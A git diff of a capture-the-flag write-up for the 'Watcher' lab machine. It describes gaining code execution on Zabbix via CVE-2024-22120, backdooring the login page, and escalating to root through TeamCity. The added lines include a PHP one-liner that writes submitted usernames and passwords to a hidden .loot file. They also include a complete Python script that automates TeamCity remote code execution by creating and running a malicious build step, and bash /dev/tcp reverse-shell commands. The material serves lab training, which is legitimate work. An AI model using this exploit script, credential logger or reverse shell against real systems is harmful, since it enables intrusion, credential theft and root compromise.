33
44## Machine Summary
55
6- We first find a Zabbix instance which is a vulnerable version where we can gain RCE via ` CVE-2024-22120 ` . After gaining a shell we can backdoor the application to gain the credentials of another user ` Frank ` . With that user we can login to an internal ` TeamCity ` instance, that runs as ` root ` . Where we can create a pipeline to gain a reverse shell as ` root ` .
6+ We first find a Zabbix instance which is a vulnerable version where we can gain RCE via ` CVE-2024-22120 ` . After gaining a shell we can backdoor the application to gain the credentials of another user ` Frank ` . With that user we can login to an internal ` TeamCity ` instance, that runs as ` root ` . Where we can access the running agent on local port 9090 to open a terminal as root or create a pipeline to gain a reverse shell as ` root ` .
77
88## Recon
99
10+ ### Nmap
1011``` ad-summary
11- title: NMAP
12- collapse: open
13-
14- ```nmap
1512nmap -sC -sV -p- --min-rate 1000 10.10.92.19 -oA watcher
1613
1714Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-25 20:02 CEST
@@ -33,13 +30,6 @@ PORT STATE SERVICE VERSION
3330Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
3431```
3532
36- ``` ad-important
37- title: Domains
38- collapse: open
39-
40- - **watcher.vl**
41- ```
42-
4333## Initial Access
4434We are first presented with a normal website. We then perform subdomain enumeration:
4535```
@@ -106,6 +96,11 @@ Then we get a request to our server after a few minutes:
10696We now have creds:
10797- ` Frank ` :` REDACTED `
10898
99+ You can also use this oneliner to get the creds in a file like ` .loot ` in the same folder as ` index.php `
100+ ```
101+ file_put_contents(".loot", $_POST['name'] . ":" . $_POST['password'] . "\n", FILE_APPEND);
102+ ```
103+
109104We can now use those creds to access Teamcity.
110105<br >
111106There is a agent running. Just open the terminal on this one and you can run system commands as root.
@@ -149,3 +144,152 @@ We can then read the flag from the root directory:
149144(remote) root@watcher.vl:/root# cat root.txt
150145VL{REDACTED}
151146```
147+
148+ All the steps can be automated.
149+ <br >
150+ Authenticate -> Create: project, build config and build step -> Run build with the agent.
151+
152+ ``` python
153+ # !/usr/bin/python3
154+ import os
155+ import requests
156+ import random
157+ from bs4 import BeautifulSoup
158+ import argparse
159+
160+ parser = argparse.ArgumentParser(description = ' RCE in TeamCity: Tested in TeamCity Professional 2024.03.3 (build 156364)' )
161+ parser.add_argument(' --url' , required = True , help = ' http://localhost:8111' ,)
162+ parser.add_argument(' --username' , required = True , help = ' Name of the user' ,)
163+ parser.add_argument(' --password' , required = True , help = ' Password of the user' ,)
164+ parser.add_argument(' --cmd' , required = True , help = " bash -c 'bash -i >& /dev/tcp/10.10.10.10/9001 0>&1'" ,)
165+ args = parser.parse_args()
166+
167+ S = requests.Session()
168+ headers = {
169+ ' Content-Type' : ' application/json' ,
170+ }
171+ n = random.randint(100 ,999 )
172+
173+ r = S.get(args.url+ ' /login.html' )
174+ soup = BeautifulSoup(r.text, ' lxml' )
175+ tc_csrf_token = soup.find(' meta' , {' name' :' tc-csrf-token' })[' content' ]
176+ public_key = soup.find(' input' , {' name' :' publicKey' })[' value' ]
177+ print (f ' publickey: { public_key} ' )
178+
179+ def login ():
180+ r = S.get(args.url+ ' /httpAuth/app/rest/server' , auth = (args.username, args.password), headers = headers)
181+ print (f ' login() { r.status_code} ' )
182+ print (f ' Login with user { args.username} : { args.password} ' )
183+ r = S.get(args.url+ ' /favorite/projects?mode=builds' )
184+ soup = BeautifulSoup(r.text, ' lxml' )
185+ tc_csrf_token = soup.find(' input' , {' name' :' tc-csrf-token' })[' value' ]
186+ print (f ' CSRF Token: { tc_csrf_token} ' )
187+ return tc_csrf_token
188+
189+ def create_project ():
190+ project = ' ProjectShell' + str (n)
191+ data = {
192+ ' parentId' : ' _Root' ,
193+ ' name' : project,
194+ ' externalId' : project,
195+ ' description' : ' ' ,
196+ ' submitProject' : ' store' ,
197+ ' submitCreateProject' : ' Create' ,
198+ ' tc-csrf-token' : tc_csrf_token,
199+ }
200+ r = S.post(args.url+ ' /admin/createProject.html' , data = data)
201+ print (f ' reate_project() { r.status_code} ' )
202+ print (f ' Crate new Project: { project} ' )
203+ return project
204+
205+ def create_build_configuration ():
206+ build_config = project + ' _BuildConfig'
207+ data = {
208+ ' parentProjectId' : project,
209+ ' buildTypeName' : ' build_config' ,
210+ ' buildTypeExternalId' : build_config,
211+ ' description' : ' ' ,
212+ ' -ufd-teamcity-ui-buildConfigurationType' : ' Regular' ,
213+ ' buildConfigurationType' : ' REGULAR' ,
214+ ' createBuildType' : ' Create' ,
215+ ' tc-csrf-token' : tc_csrf_token,
216+ }
217+ r = S.post(args.url+ ' /admin/createBuildType.html' , data = data)
218+ print (f ' create_build_configuration() { r.status_code} ' )
219+ print (f ' Create Build Configuration: { build_config} ' )
220+ return build_config
221+
222+ def create_build_step ():
223+ build_step = ' cmd_' + str (n)
224+ data = {
225+ " runTypeInfoKey" :" simpleRunner" ,
226+ " buildStepName" :build_step,
227+ " newRunnerId" :build_step,
228+ " prop:teamcity.step.phase" :" " ,
229+ " -ufd-teamcity-ui-prop:teamcity.step.mode" :" If all previous steps finished successfully" ,
230+ " prop:teamcity.step.mode" :" default" ,
231+ " condition[]" :" " ,
232+ " publicKey" :public_key,
233+ " prop:teamcity.build.workingDir" :" " ,
234+ " -ufd-teamcity-ui-prop:use.custom.script" :" Custom script" ,
235+ " prop:use.custom.script" :True ,
236+ " prop:command.executable" :" " ,
237+ " prop:command.parameters" :" " ,
238+ " prop:script.content" :args.cmd,
239+ " wrapToggle" :" " ,
240+ " prop:log.stderr.as.errors" :" " ,
241+ " prop:plugin.docker.imageId" :" " ,
242+ " prop:plugin.docker.imagePlatform" :" " ,
243+ " -ufd-teamcity-ui-prop:plugin.docker.imagePlatform" :" <Any>" ,
244+ " prop:plugin.docker.run.parameters" :" " ,
245+ " showDSL=&showDSLVersion" :" " ,
246+ " showDSLPortable" :" " ,
247+ " submitButton" :" Save" ,
248+ " tc-csrf-token" :tc_csrf_token,
249+ " numberOfSettingsChangesEvents" :3
250+ }
251+
252+ r = S.post(args.url+ f ' /admin/editRunType.html?id=buildType: { build_config} &runnerId=__NEW_RUNNER__&submitBuildType=store ' , data = data)
253+ print (f ' create_build_step() { r.status_code} ' )
254+ print (f ' New Build Step: Command Line: { build_step} ' )
255+ return build_step
256+
257+ def run_build ():
258+ data = {
259+ " buildTypeId" :build_config,
260+ " redirectTo" :" " ,
261+ " stateKey" :" " ,
262+ " dependOnPromotionIds" :" " ,
263+ " customBuildDialog" :True ,
264+ " forceAutoGeneratedBranch" :" " ,
265+ " personalPatchUploaded" :" " ,
266+ " -ufd-teamcity-ui-agentId" :" <the fastest idle agent>" ,
267+ " agentId" :" " ,
268+ " _personal" :" " ,
269+ " file%3ApersonalPatch" :" " ,
270+ " uploadPatch" :True ,
271+ " buildTypeId" :build_config,
272+ " stateKey" :" " ,
273+ " tc-csrf-token" :tc_csrf_token,
274+ " _moveToTop" :" " ,
275+ " _cleanSources" :" " ,
276+ " ring-radio-0-7zy2" :" ASAP" ,
277+ " buildComment" :" " ,
278+ " buildTagsInfo" :" " ,
279+ " _applyToChainBuilds" :" " ,
280+ " addToFavorite" :True ,
281+ " _addToFavorite" :" "
282+ }
283+ r = S.post(args.url+ ' /runCustomBuild.html' , data = data)
284+ print (f ' run_build() { r.status_code} ' )
285+ print (f ' Run Build... ' )
286+
287+ tc_csrf_token = login()
288+ project = create_project()
289+ build_config = create_build_configuration()
290+ build_step = create_build_step()
291+ run_build()
292+ ```
293+
294+ Comamnd to run the script:
295+ * ` ./teamcity_rce.py --url http://localhost:8111 --username Frank --password 'REDACTED' --cmd "bash -c 'bash -i >& /dev/tcp/REDACTED/9002 0>&1'" `
0 commit comments